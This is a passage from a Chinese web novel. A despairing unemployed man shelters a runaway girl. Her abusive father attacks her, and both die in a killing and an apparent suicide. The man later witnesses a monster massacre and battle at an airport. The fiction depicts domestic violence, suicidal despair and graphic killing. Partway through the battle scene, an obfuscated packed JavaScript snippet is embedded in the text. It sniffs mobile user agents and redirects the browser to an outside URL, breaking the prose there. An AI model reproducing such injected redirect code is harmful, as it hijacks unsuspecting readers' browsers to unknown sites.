时间一天又一天的过去,原本鼓励着星川的母亲终于有些绷不住了,时隔这么久,她又一次在星川面前落泪,“你知道我过的是什么样的日子吗?外面那么多人都看着我们的笑话,不管去干什么,总之你得赶紧出去,不要待在家里面碍眼你知不知道!” 星川好好地听完了那些话,然后把房门关上了。记得上一次这样关房门还是在高中时期,那时候的他希望拥有一个属于自己的空间,不希望什么都要被指指点点。至于现在的他,只是觉得在一个封闭的房间里比较舒服,仅此而已。 不过或许命运真的没那么容易走向绝路,此时的他突然被提醒,为何不去考公务员呢?这让他久违地感觉看到了未来的道路。 母亲终究是支持的,不会同时也留下了一句话,“就是死也要考上才行,如果考不上的话,人的吐沫都能淹死你。” 星川感觉好累,为什么,这么多年了自己还是这么累。当看到公务员的录取比例的时候,他的内心越发沉重。最后,当看到与数学相关的问题的时候,他终于感受到了绝望。 每一天的备考都像是时刻有刀架在脖子上,只要稍微想要歇一歇,名为罪恶的利刃就会接近自己的皮肤一分。说到底,人活着真的会有快乐吗?这一度成为了他心中唯一的想法。 找到一件可以努力的事,对人来说有短暂的麻痹作用,让人能够从平日的痛苦中缓解出来,把痛苦以另一种方式抛去,哪怕那就像是一条会回头咬住自己喉咙的蛇,出在暂时安宁中的人也毫不在乎。 “好想吐好想吐好想吐好想吐好想吐。” 星川的眼睛无神地盯着题目,手上不断地做着计算和分析,到了后面,这个重复的词不再是他心中的想法,而是已经成为了他在做题时必须要说出口的东西。当他拿到准考证的时候,他才反应过来考试的日子确实要到来了。 考场上,监考的人反复对比了一下准考证上的照片和他的面孔。最后一言未发地检查下一个人的证件。他并不感到紧张,只觉得空洞。 考试的过程是麻木的,仅仅是把自己想出的东西写到卷子上罢了。直到出考场的时候他都没有任何感觉,就好像只是喝了一杯水。 走在路上,周围的声音渐渐地有些听不到了。哪怕是骑车的鸣笛,也没有让他感到一点嘈杂。他还挺喜欢这种感觉的,就像是自己不属于这个世界,是不是不属于这个世界就不会感到痛苦? 他一步步走着,如同行尸走肉,没有一丝感情,但也不像机器,直到有人重重地拍了一下他的肩膀,才把他的大脑拉回现实。 “星川!” 星川回过头去,那是一张看起来有些熟悉的脸,但是又一时间说不上来。沉默了良久,他才睁大了眼睛,用有些干哑的声音道:“这不是三岛吗?” 三岛哈哈大笑,“你这人真是的,居然连我都认不出来了。” 星川看了看他身边的两人,“这两位是……” “是我的老婆和孩子。 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三岛宠溺地看着自己的孩子,他不知道感谢了自己的妻子多少次,为这个生命的诞生暗自发下了一生都要对妻子好的誓言。现在看着自己的好朋友与自己的孩子站在一起,突然就又一次有些感叹自己现在也已经成为了他人的父亲。 这时,星川突然抬起头,“话说回来,你现在还好吗?我之前也没机会好好关心关心你。” “我也就那样,从高中毕业之后开始工作,现在也是一个工厂的小领导了,虽然和那些大领导还是比不了,但我觉得也就行了,没必要有那么高的追求。” 星川用力保持微笑,“那真是恭喜了。” “借你吉言。” “今天是带着老婆孩子一起出来玩?” 三岛听此露出了无奈的表情,“这孩子说要去游乐园好久了,我也算是为了兑现自己的承诺,这不是就趁着休息赶紧出来了嘛。” “挺好的,真是太棒了。” 星川有些不知道该聊些什么,只是有些手足无措地附和着,他真的找不到一个有价值的话题,一滴汗珠静静从鬓角滑落下来。 似乎是觉得自己耽误了太多的时间,反倒是三岛先有些不好意思,“你应该还忙着呢,一下子耽误了这么久,真是抱歉。” “没什么……” “主要是好久没见了确实有些激动,我就不耽误你了。” “倒也没有……” “不过。”三岛狡黠一笑,“你终究是没有认出来呢,我特意没告诉你,果然还是太久远了啊。” “啊?”星川顺着三岛的眼神再一次看向了三岛的妻子,可是并没有看出什么来。 “记得曾经我们在窗边看到的那个女生吗?” 这一句话,直接把星川的大脑拉回了那个尘封的过去,一幕幕的记忆丝丝地冒了出来,想了半晌才反应过来,原来这就是那个曾经自己说过的憧憬的女孩。 “你个骗子,当时还说什么高岭之花呢。”星川笑着露出“好你个家伙”的神情。 三岛哈哈大笑,“运气罢了,多少人都忘记了很多事情,没想到你还真想起来了,所以我也常和家人说,有你这个朋友是我的幸运。” 两人又寒暄了几句,终于还是道了别。星川的心里五味杂陈,就这样一直都没有回房子。 等回过神来,自己已经挨到了晚上。 霓虹灯的包围里,稀稀拉拉的人流中,他缓慢地走在街道上,不知道自己要走向何方。有人看向天空,说今天的月亮很亮。 他也向天空看去,就在视线重新下落的时候,突然感觉街景好像有一个不错的构图。他掏出手机,打开了相机功能,但是不知道是什么时候留下的自拍的摄像头对准了自己。 他看着胡须有些杂乱的脸,手不禁有些颤抖,“我……已经变成这样的大叔了吗……” 星川的呼吸变得急促,嘴唇开始颤抖,他一步步地走向没有人的地方,最后终于哭出了声。一个快要奔三的人此刻哭得像一个孩子,已经顾不上有没有人会经过这里,现在的他只想好好地释放一下。 少数的路人路过这里,不出意外都快步离开,就连路过的狗都被吓得赶紧跑走。但是星川已经不在乎了,他终于可以不在乎了。 不知道过了多久,他的眼角还带着残留的泪水,不过心里总觉得舒服多了。总觉得好像有什么,他便转头看了一眼,发现是一个女学生站在自己的身边。 他猛地一哆嗦,“吓死我了,你是什么时候在的?” 女生笑道:“从一开始就在了,倒不如说,是我先来的这里。” “啊……实在抱歉。”星川有些不知所措,“我打扰了你,真是太对不起了。” “没有没有。”女生连忙摆摆手,“没有什么打扰不打扰的,这又不是属于我的地方。” 星川打量了一下眼前的人,身上也没背包,只是拿着自己的手机,“你怎么会在这里啊,现在已经挺晚的了。” 女生看向没有星星的天空,感觉心里空落落的,“离家出走罢了。” “是这样啊。” 听到这样的一句评价,就下也没有下文了,女生反而好奇了起来,“作为成熟的大叔,你不应该劝劝我吗?难道不是应该说这样不好之类的话吗?” “哪里。”星川自嘲地一笑,“我也不过是一个离家出走的小鬼罢了。” “哦?你到底是为什么啊?” “说起来话长,只是些可悲的事情罢了。”星川直了直背,“确实挺晚的了,你也差不多要回去了吧。” “我才不回去呢。” “唉,可是你这样又能怎么样呢?” “可是你这样又能怎么样呢?” “我……”星川一时语噎,“你这样的女孩怎么能在晚上这样在外面,万一遇到什么事怎么办?” 可是女生却笑着说:“你觉得我还在乎吗?” 星川沉默地看着女孩的脸,他认识那种笑容,那和曾经的自己真的很像,尽管不明白到底是怎么回事,但是他总觉得如果自己不向她伸出手,自己未来一定会后悔。 “要不我们找一家店坐坐吧。” “不了,直接去你住的地方坐坐吧。” “如果有人看见我和你走在一起说不定都会叫警察了,你在说什么胡话呢,我现在至少还没有打算要进去啊。” 女生却低下头,“原来我是一个连这样的魅力都没有的人,恐怕我也不用担心什么吧。” “这不是魅力的问题。”星川相当无奈,总觉得这个女孩怎么说话就是不着调,但是看着女孩的表情,却又一句更多的话都说不出来。 他看向天上的明月,“真是难得的晴天。” “嗯?” “不怕的话尽管跟来罢了,我回去了。” 星川抬脚就走,女孩重新绽放笑容,随后赶紧跟在了他的身边。星川明白自己在做什么,毕竟女学生对一个在这样的社会中生存的大叔来说,简直就像一个定时炸弹一样危险。哪怕是莫须有的怀疑都有可能让自己万劫不复,可是……自己真的还在乎吗?已经无所谓了啊…… 打开了自己的房门,这实在是一个小得不能再小的房子,一进门就是灶台,旁边就是厕所,除了一个用来写字的桌椅之外,压根就没有任何家具,整个房间在踏入其中的一刻就已经看到头了。 但是女孩却说:“真是个好地方,有被包裹的感觉呢。” 她随意地坐在了星川的地铺上,然后往墙上一靠,“啊——真舒服啊——我真的是太喜欢这种地方了。” 星川拿来了一杯水,“有什么好的,又小又窄,什么都干不了。” “有安全感。” “安全感?”星川轻笑一声,“跟大叔在一起很安全吗?如果不是我而是别人呢?” 女孩摇了摇头,“我无所谓的哦,可是你真的会做什么吗?” “你怎么能判断出我不会呢?你根本不了解我。” “我确实不了解你,可是图谋我的人,不论是谁都不会在那样的小巷子里自己哭的。” 星川不想再继续这个话题,“话说回来,你到底是什么情况啊?” “我啊……只是不想在家待着,那里让我感觉痛苦。” “痛苦?为什么?” 女孩撸起了自己的袖子,上面赫然是两道血痕。 星川看见这一幕的时候,一下就燃起了怒火,“报警怎么样?” “没用的。” “为什么?” “因为他就是警察。” 星川一下给气笑了,“警察?明明自己就是警察,却还做着这样的事情,他凭什么能当警察呢?” 女孩无力地将双腿抱起,复杂地笑道:“因为他是通过正常途径当上的警察,有没有作弊和造假,选拔人才的标准并不是在选一个好人或者是一个有能力的人,而是在选一个能够通过选拔的人,仅此而已。” 她说完,伸手从衣服里拿出了一个小的吊坠,看起来十分精致,就像是宝石一样闪烁着光泽,不知道是什么材料做的。 星川大吃一惊,“这不是那个有名的剧团NightPine才拥有的东西吗?” 女孩轻轻闭上眼睛抚摸着脖子上的吊坠,“这是我想要去参加选拔的剧团,当时我去看他们表演的时候,作为幸运观众获得了这个。” “居然还有这样的活动!” “嗯!我当时也不知道,也是临时是被人告知的,感觉是我运气最好的一次。” “真是太羡慕了!不过你是要参加这个剧团的选拔啊,听说这个是很严格的。” 女孩点点头,“是非常严格,但是我正在不断练习。这次的选拔是要饰演一个高官之女与武士的爱情故事,别看我这样,我还是比较有自信的,只是需要更多练习而已。你呢?你有想做的事吗?” “我今天去考了公务员,但是恐怕根本就考不上。” 14. 冰冷 “那你就打算放弃了?” “我不知道……”星川看向天花板,“我什么都做不到,我一直都在不断地失败,就只有在我第二次上大学的时候勉强成功过片刻,之后就再次陷入失败。” 谁知女孩听到这却笑了,“你怎么好像一个我认识的人啊。” “啊?” “倒不是说我认识的人,可以说是我听说过的一个人。当时我听我哥说,他们乐队有一个叫青木的人也是做什么都失败,似乎是因为他不管做什么都会紧张,并且运气特别差。” “你还有哥哥啊。” “嗯,不过他被判给我妈妈了,我被判给我爸爸,我们已经挺长时间没有再见过了。” 星川不知道怎么安慰她,但是心里有一种很难受的感觉,总是有这么多只想做好自己的事的人,偏偏在承受着这么大的痛苦,这个世界真是令人感到不公。 “你在这,你爸……” 女孩不屑道:“他才不会在乎我,我离家出走的时候他可从来都没有找过我。” “那你就在这里待着吧。” “哦?你之前还一本正经,你这是看上我了?” “想做梦的话可以先睡。对了,你吃了吗?” “还没。” 星川翻了翻钱包,“这样啊,我中午就没吃,要不一起去吃些什么吧。” “好啊,那我们现在就出发吧,不过还有一件更重要的事。” “什么?” 女孩站起来,走到他的面前向他伸出手,“名字。我叫古川宁宁,你呢?” 星川笑着也伸出手,“星川贤人。” 外面,月光看起来并没有之前那么冷清,哪怕并没有就见到星星,也并不觉得寂寞。晚风轻微柔和,令人浑身感到舒适。霓虹灯并不纷乱刺眼,原来并不是所有人的脸上都是冷漠的表情。 “星川先生,原来你也会露出这样的表情啊。” “什么?”星川转头看向正对着自己露出别样表情的古川。 “没什么,就像刚才在家里一样,我还是喜欢看着你这样的表情。” 两人缓缓停下脚步,面前就是一家烤肉店,星川做了个深呼吸,“我想久违地吃一次烤肉了,你想吃吗?” 古川便直接推开了门,伴随着店员的“欢迎光临”,她灿烂地笑道:“我还蛮喜欢这家店的哦。” 这一家是烤肉自助店,两人都点了自己想吃的东西,当牛肉的汁水和油香在口腔中绽放,两人都是一脸享受。 “可以帮我一个忙吗?”吃了一会儿,古川突然道。 “什么忙?” “陪我练习一下吧,然后帮我看看我的表演有哪里不好。” 星川感觉有些为难,“我从未做过这样的事,不知道能不能做好,如果因为我没有眼光导致了你的失败,我会感觉非常自责。” “不要这样想。”古川认真地看向了星川的眼睛,“你不需要有什么专业的知识,也不需要有什么经验,你就是我的观众,而观众最直接的感受比什么专业的说辞都重要。” “我……真的可以吗?” “可以的,相信自己,至少我会先相信你,你有什么不敢相信自己的呢?” 星川不知道为什么突然觉得眼眶有些湿润,他看向别处几秒才把头重新转回来,“我真是……不,没什么。就这样定了,我一定会全力以赴。” “那真是太好了。而且可能需要你配合我说一些台词,就由你来负责武士的部分吧。” “没问题。” “与此相对的,我来陪你考公务员吧。虽然录取率真的很低,但是我就用这件事来回报你吧。” “好!” 星川觉得这是近些年最好吃的一顿饭,不是在狭小的房间里,不是在黑暗的自我中,而是有一个陪着自己、相信着自己的人,就像自己的心真的被人捧在手里。 回去的路上,星川又买了一套被褥,这一天,两个人都睡了个好觉。 从第二天开始,两人就正式启动计划。古川就读于专门进行艺术培养的特殊高中,只要一放学就往星川那里跑。为了能生活地更好,两人每天会一同打工两小时,然后一起去吃饭。至于古川的父亲,硬是没有问过一次女儿的状况,即便女儿一次家都再也没回过。 时间一天天过去,两人的状态越来越好,不知不觉之中,就到了过年的时候。 这一天,古川去租了一件可爱的和服,好好地化了一个妆,星川也换上了新年才穿的衣服,两人一起去了新年参拜。 “哇,人真多啊!” “那是当然的,毕竟大家都想在这个时候为了新年许愿,如果有神明大人保佑,新的一年应该会过得更好吧。” “呐,贤人,你的愿望是什么呢?” “我啊,我的愿望一直都没有变,我想去上海看看。” 古川的眼中也流露出向往,“真好啊——我其实也一直都想去那里。” “你为什么想去呢?” “说起来,是一个有点奇怪的理由。我听说在那边有一种叫做道观的地方,而且还有会算命的人,我感觉可厉害了。再加上上海本来就是那么繁华的城市,如果有一天能去那里亲眼见识一下就太好了。” 洗手投币,摇铃拍手,在灯笼柔和的光芒中,两人默默合掌,许下了属于自己的愿望。古川许下了两个,一边祈祷着愿望的实现,一边祈祷着希望神明不要嫌自己贪婪。 就在重新睁眼的那一刻,烟花在空中绽放的声音传来,人们都看向那个方向。古川小心地瞥了一眼欣赏烟花的星川,脸色微微发红,双手在腹前做着些小动作,显得有点无处安放。 这段时间在一起住,古川感觉自己久违地感受到了什么是快乐。星川很尊重自己,也在各方面都十分照顾,如果这样的时间能够永远持续下去,那么自己一定会成为十分幸福的人吧。 星川喉咙微动,他从未和除母亲外的女性一起看过新年的烟花,更何况是这么一个令自己在意的人,尽管看似实在欣赏烟花,但是男人又如何不会为这样的场面心动。不过,他终究不能那么自私,如果时间能够停止该多好啊。 一转眼,春天便已经到了。当看到选拔通知正式发表的时候,古川更加确定了自己是有贵人相助的,毕竟在春天要进行的选拔,在冬天的时候,自己就已经知道了这件事并且投入练习了。 等到正是选拔的那一天,她便信心满满地去参加了。尽管评委们都冷着脸,令人看起来心里打鼓,但是当她真的站上舞台,用自己不知练习了多少次的底力演绎着那个高官之女时,她只觉得十分享受而没有紧张。 和她对演的是另外一个参加选拔的男生,那也是一个水平很高的选手,两人深情地注视,十分投入地说着台词,当古川跪坐,在自己的腿上看着他的“尸体”,那一滴泪落在他的脸上,不仅是那个男生,就连评委都看呆了,甚至幻视出了在大雪之中,女子与武士在血泊中的诀别。 即便是不穿任何演出的正式服装,仅凭表演就足以令人沉醉,这就是剧团NightPine中每一位成员的水准。五位评委一同高分通过,他们明白这就是自己需要的人,而那个男生,即便是已经表演结束都忘不了那个深情的眼神。 在远处的大厅后门处,一个帅气的年轻男子微笑地看着这一幕,随后离开了这里。他打了一个电话,“伊波先生,之前提到的那个角色,应该已经有可以推荐的人选了。” 古川的内心十分激动,走出大门的时候仍然觉得如同做梦。周围的人和事都注意不到,满脑子都是晕乎乎的兴奋感。她摸出手机,想要告诉星川这个消息,但是却突然被一个声音打断了思绪。 “你到底去哪了!” 当听到这个声音的时候,幸福感在一瞬间荡然无存。她冷眼看向那边,那是一个高大的男人,满眼都是凶狠。 男人一把抓住她的领子,“我以为你一直在那个女人那,结果居然不在,你这段时间跑到哪里去了!” “和你没关系!” 只听一声脆响,一个巴掌就到了古川的脸上,“我听你们学校的人说了,你还跑来参加什么选拔?当初你私自跑去那个学校就已经很过分了,现在还来做这种事情,我是不是管不了你了!” 古川同样瞪着他,“你凭什么管我,就凭你家暴我?就凭你不尊重我?” “就凭我是养你的人!” 众目睽睽之下,男人竟一脚将古川踢倒在地,让她的后脑一下子撞在了路边的水泥台上,鲜血一下子就流了下来。旁人没有一个上前阻止,都是拿着手机拍照或者录像。 男人看了一眼周围,一把抓住了古川的头发,将她拉起来甩到车门里,然后讲车门锁死开回了家。 进了家门古川被抓着摔在了地上,但是即便如此,她的眼神仍然充满着单纯的敌意和冷漠。 男人气炸了,他指着古川的脸,“你那是什么眼神,简直和那个女人一模一样!她在家的时候我就看不惯她的这个眼神,我现在一看你这张脸就犯恶心!” 他喘了两口气,越发觉得不顺眼,转身就进厨房拿了刀,“你不是喜欢顶着这张脸瞪我吗?不是喜欢去做那些不三不四的行业吗?我看看你还怎么做!” 他握着刀就向古川的脸划了过来,古川连忙用胳膊去挡,但是因为头越来越晕,她怎么都阻挡不了这件事的发生。两人扭打起来,可是她的力量越来越小,只觉得自己的手上有血,还有就是那个男人真的很吵。 男人似乎是终于骂完了,转身要把刀放回去,但是他没料到,古川不知道哪来的力气,轻手轻脚地摸到了他背后,随后用手里的烟灰缸,几乎是使出了全身的力气砸了下去。男人向前一个踉跄,整个人都站不太稳,但是古川并没有停下来。 她一下一下地砸下去,一声声地怒吼着,直到自己彻底失去力气,男人也趴在地上不再有任何动作。 再次睁眼时,古川坐在地上,手里还握着烟灰缸。她的头很痛,看着自己身边趴着的男人,眼里只有空洞和绝望。回想着过去的种种,她感觉自己真的太委屈。摸了摸自己的脸,伤口仍然在疼。她笑了,自嘲地笑着,自己为什么会幻想着自己能够拥有幸福?自己为什么敢奢求那些美好的东西?自己为什么出生在这个家庭…… 她笑得很疯狂,一直抒发着自己的悲痛,内心已经对这个世界几乎没有任何留恋,不过……打开手机,星川的电话来了七次,但是一个都没有接到。她将号码拨回去,星川很快就接通了。 “呐,贤人,和我在一起吧。” “怎么突然这么说?今天的选拔怎么样?我给你打电话你也一直没接。” “带我走吧,我一直都喜欢你,我想和你在一起。” 星川沉默了,他何尝不喜欢古川呢,可是自己和她年龄差了十一岁,她甚至还有一年才成年。就算是再喜欢,古川也适合更好的人,而不是自己这样的失败者。就算她这么说了,自己也没有办法去做那个耽误她的自私者。 “抱歉,我也很喜欢你,但是我不能这样,你还很年轻,我都已经是大叔了。” 后面说了什么,古川已经听不清了,手机掉落在地上,她终于对这个世界不再有一丝留恋。她不知道自己还活着的意义,她不知道属于自己的武士到底在哪,或许是因为自己本就不是那个高官之女。 她捡起了地上的刀,看向了那个带血的刃。 星川突然发觉古川不回应自己,他记得古川说过自己的住处,于是他一边喊着“宁宁”,一边快速地跑着。 就在这时,一声巨响突然在不远处出现,让他的心脏的震得直跳。他僵在原地看向那边,过了几秒才缓过来。尽管很在意那里发生了什么,星川还是向着古川的家里跑去。 走到门前,他发现门开着一条缝,里面黑着灯。他突然想到会不会是古川的家里进了贼之类的,连忙推门走了进去,结果只看到月光下的两人的尸体。 路边,星川像行尸走肉一样挪动着脚步,想起自己将古川的尸体搂在怀里,就觉得天都塌了下来,进入房间时的那一幕他这一生都不可能释怀。 警察已经处理了古川父女的尸体并控制了现场,至于后续如何,他已经不得而知,只是留下了自己的电话,希望警察的工作完成之后可以联系自己。 “如果我当时答应了她,她是不是就不会死了呢?” 他的脑海中一直重复着这句话,自责就像厚重的黑云将他压得喘不过气。他不明白这个世界到底是怎么了,为什么自己总是在不断失败,不断失去对自己来说重要的东西。凭什么只有自己是这样,为什么别人就没有这样的痛苦。 他一步步走着,与这个城市格格不入。在这一刻,他想到了结束这一切。 但是突然,有一个念头猛地冒了出来。他想起之前和古川的交谈,他记得古川想要去上海的道观,想要去见识一下是否有可以算命的人。他几乎是瞬间就做出了决定,去买了第二天早上最早的机票。 他完全没有考虑什么,也不愿意再考虑什么。为了终有一天可以实现梦想,他一直保持着自己的签证可以使用。此刻的他几乎疯了,暴饮暴食了一晚后,将之前古川和他一起买的成对的手环带上,一早就坐上了飞机。 当到达目的地的时候,星川觉得自己就像是在做梦。自己这么久以来的终极梦想,居然像笑话一样就实现了。不在乎谁的眼光,不在乎谁的指责,不在乎金钱的消耗,不在乎来这的意义,只是自己想来就来了。 走出机场,向当地人打听了哪个道观可以算命后,直奔目的地就去了。 道观的游人还是很多的,与日本完全不同的建筑风格吸引着他的双眼,令他感觉心里稍微好受了一些。再一次询问了当地的游客后,他直接找到了算命的地方。 道士介绍了一下金额之后,星川直接选择了最贵的。 道士面色如常,也没多问,只是要生辰八字等必要的数据,随后不再发一言,自己计算了起来。星川有些发懵,他还没有说自己的问题,他想要开口,但是道士完全没有听他说话的打算,他自己也不知道如何具体描述自己的问题。 等了一会儿,道士得出了结论,见他能听懂也就直接开口,“这话你可能不爱听,甚至很可能影响你对我的评价,但我要告诉你,你直到现在都是一个失败者。” 星川连连点头,“是的是的……” 不等他说,道士就制止了他,“关键在于,你每一次选择错误导致失败,这句话是不对的,而是你会失败所以选择错了。” 星川愣住了,他一下子没反应过来是什么意思。 道士也看他有些发懵,便直言道:“你这命天生就不好,而且和你身边的很多人都犯冲,小事的成功都是假象,真的能左右你人生的大事,你就是失败者,并且因为你是失败者,所以你会做出错误的选择。” 星川觉得有些难以相信,可是内心又想知道更详细的东西,毕竟他确实说中了自己一直以来的处境,“那我就一辈子没救了吗?” “那倒没有。”道士立即做出了否认,“你自然是有救的。” 不知为什么,星川觉得道士要管自己要额外的钱了,可是没想到,道士只是说:“今晚你如果回去就有救,但是会有一场大事发生。你不必紧张,虽然我也不清楚那具体是什么,但是这件事是转机,不会伤害你。半年以内,还有一场大事,你要有担当。尽管你的人生一团糟,但是今晚如果你回去,你还是能够向上发展一些的。” “我知道了。” 星川回应后,道士示意让他离开。他本想再聊两句,但是道士已经判断没有聊的必要,只是说了一句,“不要放弃自己。” 他感觉有些晕乎乎的,似乎是知道了什么,可是又觉得什么也不知道。由于道士提到了今晚,他也觉得自己现在也已经这样了,所以不如试试,不行也无所谓,于是购买了今天最后一班飞机。 他带着古川的手环,去顺势看了很多想看的地方,每到一个地方就会和古川说很多很多话,就像是真的和她来到了这里一样。他拍了很多照片,希望回去可以把照片洗出来带到古川的墓前。只是越逛,心中的懊悔越深,胸口的悲伤越重。 终于到了要上飞机的时候,他最后深深地看了一眼这个自己一直想来的地方,随后踏上了回家的路。 一开始,一切都和原来坐飞机的感觉是一样的,可是越快到地方的时候,所有人就感觉越发寒冷。直到飞机内的广播说突然有大雪和大量不稳定的寒冷气流,可能会造成晚点。 乘客们大多愁容满面,因为此时出现这样的气候变化实在是不正常。但是星川回忆起了道士说的话,他记得今晚有大事但不会伤害自己,或许指的就是这件事吧。 下了飞机后,当重新呼吸到有些冷冽的空气的时候,他有些感慨也有些迷茫。说实话,如果不是道士这么说,他并不想这么快就回到这个地方。但是既然已经回来了,就只有走一步看一步了。 打开手机,无所事事地点着各种东西,脑袋还是觉得有点混乱和难以集中精神。不过当他无意中点开了社交平台,他的情绪突然就炸了。视频上,是一个男人正在殴打古川,而配的字则是,离家出走的不良少女惹父亲生气,却将关心她的警察父亲杀死。 实际上评论里也有人说,女孩明明提出了父亲家暴,这个标题并不合适,真相也并不明确。但是星川完全没有关注那些,他的怒火瞬间就达到顶点,他只觉得这群人只是不负责任的无知的败类,不管怎么样都好,他只想杀了他们。 雪突然落了下来,紧随而来的是尖叫。大量的冰刺从地面升起,人们四下奔逃满脸恐惧。可是星川却突然感到如释重负,他明白这一定是怪人所为,但是他感到了轻松。终于可以离开这个世界,终于不用承受痛苦。所以他没有逃,他在等着自己的死亡。不过在自己死前,还是在脑海中调侃了一下,道士终究是算不到怪人。 终于,怪人走到了他的身边。那一刻,他竟觉得怪人很美。那是一个女性样貌的怪人,身上散发着浓重的黑气,就像是飘洋的裙摆,整体看来竟有些妩媚。怪人没有看他,甚至如同意识不到他一般,直接从他的身边走了过去。明明是怪人却手里拿着扇子挡住自己的面容,不紧不慢地向前走着,一抬手指就是一道冰刺。 这场杀戮并没有花费多久就将整个机场的活人全部清空,但是唯独不杀星川。途中也有几批人进来,但是怪人都轻描淡写地将他们全部杀死。星川发誓自己已经全力去喊着让他们快跑,可是没有一个人能够逃脱,最后,一切都重新安静了下来。 他索性离开了有冰层的地方,随意找了一个能进去的门坐在里面,反正提醒也起不带任何作用。又过了一段时间,他突然听到了有很大的不知名的声音,还有很清晰的枪响。本以为动静瞬间就会消失,可是似乎完全没有停下来的意思。 他站起身,推开了门,想要看看发生了什么。而这时,正巧看到有一个怪人在和之前的那个怪人战斗! 原本,英梨已经快要将冰霜全部清除,但是这时,怪人突然现身。即便是见多识广的她都一时间愣住了,她从未见过长得这么好看的阴魔。浑身上下甚至散发着优雅的气质,就仿佛自己面对的是一个存在理智的正常人。 晴子上前一步,她已经变身完成,但她并不敢轻举妄动,面对这种程度的力量,如果不拿出最高的谨慎,可能一瞬间就会分出胜负。英梨站在最后,黑木和风夏在有战力的两人之间, 怪人抬了一下手指,大量的冰刺瞬间袭来。晴子屏气凝神,手中的剑上下翻飞,从之前到现在的所有战斗都没有这种庞大的法术类攻击,这一时间让她感觉有些头皮发麻,不过也正是这种压力令她有一种上头的冲劲。 在冰刺之后,比人还大的柱状冰晶随之袭来,她一瞬间就感到了无法抵挡,但还是准备好了手中的剑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266094|166574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时,英梨喊道:“风夏!” 风夏一听便明白了其中之意,虽然恐惧弥漫在全身,但她还是咬牙顶在了前面。冰晶已经到了眼前,她伸手去阻挡,自己也不禁眯起了眼睛,然而那些冰晶触碰到她的手的时候,只让她感到了一丝如同有小鸟不小心撞在上面的柔和冲力,随之便瞬间崩坏成了如雪花和白霜一般的细小晶体在空中消散。 风夏一下睁大了眼睛,随即将攻击一一挡下,不过她也有些疑惑,“不是说释放完成的我就没办法了吗?这样的状态不是已经是物理层面的攻击了吗?” 英梨看着怪人道:“这次是不太一样的,看似是怪人释放出的脱手招数,实际上这些冰块都是受它控制的,我的眼睛能够明白这件事。” 在英梨的视野里,怪人所有的能量线路被看得一清二楚,每一颗冰晶其实都有能量线连接,如果是没有经验又看不到的人,恐怕会在这一招下掉以轻心。 说话的功夫,下一波冰晶就又来了,风夏赶紧伸手去挡,但是英梨却结了一个手印,“蛇喰之术!” 四条黑蛇一下就从她的背后冒了出来,然后张开大嘴向着冰晶咬了过去。蛇的身体挡住一部分,大嘴吞掉一部分,完美地挡下了这一击。看到这一幕,风夏也明白怪人恐怕是换了攻击模式,随即暗自感叹什么都看不见的人真是危险。 黑蛇在攻击之后就化作了光点,当怪人再次看到几人的时候,晴子的剑就已经到了眼前。这是第一次有效的攻击,怪人吃痛发出了叫声,但是晴子却觉得仍然没有摆脱危险,甚至没有降低危险的感觉。突然,大量的冰晶突然在她的身边凝聚,此时要挡下这么多向的攻击已经是一件不可能的事情。 冰晶的位置就像是一个起点,十几个起点中刺出极其尖利的攻击向她袭来,发白的冰雾瞬间在那一点弥漫开来,细碎的冰块从其中飞出。然而,雾气散开后,晴子并不在那个位置。她的身上泛出金属般的光泽,看起来坚硬无比。 她的手里已经没有拿剑,而是用全身的力量撞向怪人,将其重重撞飞,接着一个飞身将自己的手肘砸在怪人的胸口,再骑在怪人身上一拳一拳地将怪人按在地上重锤。 拳头的攻击并不快,但是每一击都有足够的冲击力,机场的地面都被隔着怪人砸裂开。怪人的身体渐渐也开始产生裂缝,晴子的身体则是渐渐被冰冻住。但是她不能停下,她决定就这样打到怪人彻底被消灭为止。 时间似乎过去了很长时间,怪人仍然没有死亡,晴子不明白怪人为什么这么硬,但是身在一旁的人们都看见,晴子的身体已经完全打不出很重的拳了,几乎全身上下都快被冰封了,只剩下头和小臂与手没有。 风夏没有英梨的指挥也不敢贸然行动,英梨则是急得不行但是没有任何办法。她想要放出什么招数来,但是刚有所动作就咳出了一口鲜血,已经不再有战斗能力了。黑木就更不必说,这种级别的战斗,一个真正的普通人简直就是笑话。 这时,脚步声从三人背后响起,一看来人,竟然是八塚玄带人来了!尽管这些也是普通人,但是战斗力要比单个的黑木不知道高出了多少。 八塚玄看见眼前的一幕,胸口一紧,众警察直接横向排开,“射击!” 密集的子弹避开了晴子,全都打到了怪人身上,而怪人的头部则是被最强的步枪集火。警察们都屏住呼吸,全神贯注又小心地进行着攻击,晴子已经失去了挥拳的力量,意识也开始不太清楚,只觉得听到一些模糊的声音,还能看到一些类似于火光的东西。 怪人终于不行了,警察们也久违地露出了笑容,不知道为什么,这个怪人居然可以用枪造成有效的伤害。然而,他们马上就又笑不出来了,因为当怪人看起来已经重伤的时候,一个发着光的冰晶正在它与晴子之间凝聚。 “啊,好美……”强烈的低温已经让晴子的活动能力彻底失去了,她只能看着这冰晶的凝结。 英梨几乎是冰晶出现的那一刻就咳嗽着催促道:“风夏,快去……” 但是即便风夏跑得再快也没有办法赶上这最后的一击。 “晴子!” 风夏撕心裂肺的呼喊传来,晴子的意识突然回来了几分,仿佛时间再次开始走动。她大吼一声,高举双拳,用尽全身最后的力气重重地砸向了怪人的脸。 血落了下来,顺着冰刺,在那淡蓝的晶莹上留下一件红衣,就像异域舞女的裙上,串串珠宝的链饰装点其上。 冰刺与怪人一同消散,只剩下惊人的血洞带给旁人无比的恐惧。风夏一把扶住了晴子,可是晴子却要挣扎着站起。大家都围了上来,都要赶紧送她去医院,但是她明白,现在如果不全力维持变身的状态,自己一定是死路一条。 她不管旁人的声音,她有一件必须要做的事。风夏搀扶着她,两人一步步地走向了旁边。这时,众人才察觉到,居然有一个人躲在这个不起眼的地方。 星川浑身颤抖,不知道要躲去哪里,直到看着晴子走到了自己的面前。晴子挤出一些力气,用力抓住了他的衣领,然后将他按在墙上。 